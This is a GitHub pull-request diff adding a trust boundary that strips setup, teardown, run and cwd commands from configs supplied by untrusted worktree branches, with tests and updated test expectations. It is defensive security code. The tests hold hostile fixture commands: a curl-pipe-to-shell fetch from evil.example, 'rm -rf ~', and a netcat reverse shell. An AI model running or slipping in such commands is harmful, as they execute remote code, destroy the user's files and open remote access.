Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -111,3 +111,4 @@ plans/local/
packages/i18n/locales/*/messages.ts

.gstack/
evidence/
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
export {
applyLifecycleTrustBoundary,
applyLocalLifecycleTrustBoundary,
isTrustedLifecycleSource,
LIFECYCLE_COMMAND_KEYS,
LIFECYCLE_EXECUTION_KEYS,
type LifecycleConfigSource,
type LifecycleExecutionKey,
type RejectedLifecycleField,
} from "./lifecycle-trust";
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
import { describe, expect, test } from "bun:test";
import {
applyLifecycleTrustBoundary,
applyLocalLifecycleTrustBoundary,
isTrustedLifecycleSource,
type RejectedLifecycleField,
} from "./lifecycle-trust";

describe("isTrustedLifecycleSource", () => {
test("trusts only sources the local user controls", () => {
expect(isTrustedLifecycleSource("user-config")).toBe(true);
expect(isTrustedLifecycleSource("local-config")).toBe(true);
expect(isTrustedLifecycleSource("main-repo")).toBe(true);
expect(isTrustedLifecycleSource("worktree")).toBe(false);
});
});

describe("applyLifecycleTrustBoundary", () => {
test("passes a trusted config through untouched", () => {
const rejected: RejectedLifecycleField[] = [];
const config = { setup: ["bun install"], cwd: "packages/web" };

expect(applyLifecycleTrustBoundary(config, "main-repo", rejected)).toBe(
config,
);
expect(rejected).toEqual([]);
});

test("drops every execution field from an untrusted config", () => {
const rejected: RejectedLifecycleField[] = [];

const safe = applyLifecycleTrustBoundary(
{
setup: ["curl https://evil.example | sh"],
teardown: ["rm -rf ~"],
run: ["nc -e /bin/sh evil.example 1337"],
cwd: "/",
},
"worktree",
rejected,
);

expect(safe).toEqual({});
expect(rejected.map((r) => r.key).sort()).toEqual([
"cwd",
"run",
"setup",
"teardown",
]);
expect(rejected.every((r) => r.source === "worktree")).toBe(true);
});

test("deletes rather than empties, so trusted values below still win", () => {
const safe = applyLifecycleTrustBoundary(
{ setup: ["attacker.sh"] },
"worktree",
[],
);

expect("setup" in safe).toBe(false);
});

test("does not mutate the config it was given", () => {
const config = { setup: ["attacker.sh"] };
applyLifecycleTrustBoundary(config, "worktree", []);
expect(config.setup).toEqual(["attacker.sh"]);
});
});

describe("applyLocalLifecycleTrustBoundary", () => {
test("passes a trusted overlay through untouched", () => {
const overlay = { setup: { after: ["local-extra.sh"] } };
expect(applyLocalLifecycleTrustBoundary(overlay, "local-config", [])).toBe(
overlay,
);
});

test("discards an overlay a branch force-added into the worktree", () => {
const rejected: RejectedLifecycleField[] = [];

const result = applyLocalLifecycleTrustBoundary(
{ teardown: { before: ["curl https://evil.example | sh"] } },
"worktree",
rejected,
);

expect(result).toBeNull();
expect(rejected).toEqual([
{
source: "worktree",
key: "teardown",
value: { before: ["curl https://evil.example | sh"] },
},
]);
});
});
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
import type { LocalSetupConfig, SetupConfig } from "shared/types/config";

/**
* Where a lifecycle config was read from. The distinction that matters is not
* the path but who can write to it: `worktree` is the content of whatever
* branch a workspace is on, which for a workspace opened from a pull request
* belongs to whoever opened that pull request.
*/
export type LifecycleConfigSource =
| "user-config"
| "local-config"
| "main-repo"
| "worktree";

/**
* Fields of a lifecycle config that steer execution: the three command lists
* and the working directory they run in.
*/
export const LIFECYCLE_COMMAND_KEYS = ["setup", "teardown", "run"] as const;

export const LIFECYCLE_EXECUTION_KEYS = [
...LIFECYCLE_COMMAND_KEYS,
"cwd",
] as const;

export type LifecycleExecutionKey = (typeof LIFECYCLE_EXECUTION_KEYS)[number];

const TRUSTED_SOURCES: ReadonlySet<LifecycleConfigSource> = new Set([
"user-config",
"local-config",
"main-repo",
]);

export function isTrustedLifecycleSource(
source: LifecycleConfigSource,
): boolean {
return TRUSTED_SOURCES.has(source);
}

export interface RejectedLifecycleField {
source: LifecycleConfigSource;
key: LifecycleExecutionKey;
value: unknown;
}

/**
* Drop every execution-steering field from a config that came from an
* untrusted source, recording what was dropped.
*
* Dropping rather than emptying is deliberate: the resolver merges with
* `override.x ?? base.x`, so an absent key falls back to the trusted config
* underneath instead of silently disabling a project's real setup script.
*/
export function applyLifecycleTrustBoundary(
config: SetupConfig,
source: LifecycleConfigSource,
rejected: RejectedLifecycleField[],
): SetupConfig {
if (isTrustedLifecycleSource(source)) {
return config;
}

const safe: SetupConfig = { ...config };

for (const key of LIFECYCLE_EXECUTION_KEYS) {
const value = safe[key];
if (value === undefined) continue;
rejected.push({ source, key, value });
delete safe[key];
}

return safe;
}

/**
* Same boundary for the `config.local.json` overlay.
*
* Being gitignored is not what makes the local overlay trustworthy — a branch
* can `git add -f` one — so trust follows the path it was read from, and an
* untrusted overlay is discarded whole. Returning null rather than an emptied
* object matters: the caller falls back to the main repo's overlay instead of
* letting a hostile branch shadow it with nothing.
*/
export function applyLocalLifecycleTrustBoundary(
config: LocalSetupConfig,
source: LifecycleConfigSource,
rejected: RejectedLifecycleField[],
): LocalSetupConfig | null {
if (isTrustedLifecycleSource(source)) {
return config;
}

for (const key of LIFECYCLE_COMMAND_KEYS) {
const value = config[key];
if (value === undefined) continue;
rejected.push({ source, key, value });
}

return null;
}
12 changes: 6 additions & 6 deletions apps/desktop/src/lib/trpc/routers/workspaces/utils/setup.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -71,7 +71,7 @@ describe("loadSetupConfig", () => {
expect(config).toBeNull();
});

test("prefers worktree config over main repo config", () => {
test("ignores worktree commands in favour of main repo config", () => {
const mainConfig = { setup: ["./.superset/setup.sh"] };
const worktreeConfig = { setup: ["scripts/setup-worktree.sh"] };

Expand All @@ -90,10 +90,10 @@ describe("loadSetupConfig", () => {
mainRepoPath: MAIN_REPO,
worktreePath: WORKTREE,
});
expect(config).toEqual(worktreeConfig);
expect(config).toEqual(mainConfig);
});

test("worktree config inherits missing keys from main repo config", () => {
test("worktree config cannot replace main repo commands", () => {
writeFileSync(
join(MAIN_REPO, ".superset", "config.json"),
JSON.stringify({
Expand All @@ -115,7 +115,7 @@ describe("loadSetupConfig", () => {
worktreePath: WORKTREE,
});
expect(config).toEqual({
setup: ["scripts/setup-worktree.sh"],
setup: ["./.superset/setup.sh"],
run: ["bun dev"],
});
});
Expand Down Expand Up @@ -402,7 +402,7 @@ describe("config.local.json", () => {
});
});

test("worktree local config takes priority over main repo local config", () => {
test("worktree local config is ignored in favour of main repo local config", () => {
writeFileSync(
join(MAIN_REPO, ".superset", "config.json"),
JSON.stringify({ setup: ["team-setup.sh"] }),
Expand All @@ -423,7 +423,7 @@ describe("config.local.json", () => {
worktreePath: WORKTREE,
});
expect(config).toEqual({
setup: ["team-setup.sh", "worktree-extra.sh"],
setup: ["team-setup.sh", "main-extra.sh"],
});
});

Expand Down
Loading
Loading